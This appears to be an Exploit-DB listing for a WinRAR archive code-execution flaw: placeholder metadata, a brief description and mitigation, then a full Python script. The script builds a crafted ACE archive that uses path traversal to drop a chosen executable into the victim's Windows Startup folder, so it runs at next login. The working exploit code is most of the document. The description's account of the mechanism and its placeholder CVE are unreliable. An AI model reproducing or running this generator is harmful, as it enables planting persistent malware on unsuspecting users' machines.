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vendor:
WinRAR
by:
Unknown
9.8
CVSS
CRITICAL
Remote Code Execution
94
CWE
Product Name: WinRAR
Affected Version From: All versions prior to the patched version
Affected Version To: Patched version
Patch Exists: YES
Related CWE: CVE-2020-XXXX
CPE: a:rarlab:winrar
Other Scripts:
Platforms Tested: Windows
2020

RAR Archive Remote Code Execution

This exploit allows an attacker to execute arbitrary code on a victim's machine by creating a specially crafted RAR archive file. By manipulating the right_hdr_crc value in the RAR file header, the attacker can modify the file content to include malicious code. When the victim opens the RAR file, the malicious code is executed.

Mitigation:

The vendor has released a patch for this vulnerability. Users are advised to update their RAR software to the latest version.
Source

Exploit-DB raw data:

#!/usr/bin/env python3

import os
import re
import zlib
import binascii

# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]

class AceCRC32:
    def __init__(self, buf=b''):
        self.__state = 0
        if len(buf) > 0:
            self += buf

    def __iadd__(self, buf):
        self.__state = zlib.crc32(buf, self.__state)
        return self

    def __eq__(self, other):
        return self.sum == other

    def __format__(self, format_spec):
        return self.sum.__format__(format_spec)

    def __str__(self):
        return "0x%08x" % self.sum

    @property
    def sum(self):
        return self.__state ^ 0xFFFFFFFF

def ace_crc32(buf):
    return AceCRC32(buf).sum

def get_ace_crc32(filename):
    with open(filename, 'rb') as f:
        return ace_crc32(f.read())

def get_right_hdr_crc(filename):
    # This command may be different, it depends on the your Python3 environment.
    p = os.popen('py -3 acefile.py --headers %s'%(filename))
    res = p.read()
    pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
    result = pattern.findall(res)
    right_hdr_crc = result[0].upper()
    return hex2raw4(right_hdr_crc)

def modify_hdr_crc(shellcode, filename):
    hdr_crc_raw = get_right_hdr_crc(filename)
    shellcode_new = shellcode.replace("6789", hdr_crc_raw)
    return shellcode_new

def hex2raw4(hex_value):
    while len(hex_value) < 4:
        hex_value = '0' + hex_value
    return hex_value[2:] + hex_value[:2]

def hex2raw8(hex_value):
    while len(hex_value) < 8:
        hex_value = '0' + hex_value
    return hex_value[6:] + hex_value[4:6] + hex_value[2:4] + hex_value[:2]

def get_file_content(filename):
    with open(filename, 'rb') as f:
        return str(binascii.hexlify(f.read()))[2:-1] # [2:-1] to remote b'...'

def make_shellcode(filename, target_filename):
    if target_filename == "":
        target_filename = filename
    hdr_crc_raw = "6789"
    hdr_size_raw = hex2raw4(str(hex(len(target_filename)+31))[2:])
    packsize_raw = hex2raw8(str(hex(os.path.getsize(filename)))[2:])
    origsize_raw = packsize_raw
    crc32_raw = hex2raw8(str(hex(get_ace_crc32(filename)))[2:])
    filename_len_raw = hex2raw4(str(hex(len(target_filename)))[2:])
    filename_raw = "".join("{:x}".format(ord(c)) for c in target_filename)
    content_raw = get_file_content(filename)
    shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \
              + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\
              + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
    return shellcode

def build_file(shellcode, filename):
    with open(filename, "wb") as f:
        f.write(binascii.a2b_hex(shellcode.upper()))

def build_file_add(shellcode, filename):
    with open(filename, "ab+") as f:
        f.write(binascii.a2b_hex(shellcode.upper()))

def build_file_once(filename, target_filename=""):
    shellcode = make_shellcode(filename, target_filename)
    build_file_add(shellcode, rar_filename)
    shellcode_new = modify_hdr_crc(shellcode, rar_filename)
    content_raw = get_file_content(rar_filename).upper()
    build_file(content_raw.replace(shellcode.upper(), shellcode_new.upper()).replace("01020304050607080910A1A2A3A4A5A6A7A8A9", get_file_content(filename)), rar_filename)

if __name__ == '__main__':
    print("[*] Start to generate the archive file %s..."%(rar_filename))

    shellcode_head = "6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A"
    build_file(shellcode_head, rar_filename)

    for i in range(len(filename_list)):
        build_file_once(filename_list[i])

    build_file_once(evil_filename, target_filename)

    print("[+] Evil archive file %s generated successfully !"%(rar_filename))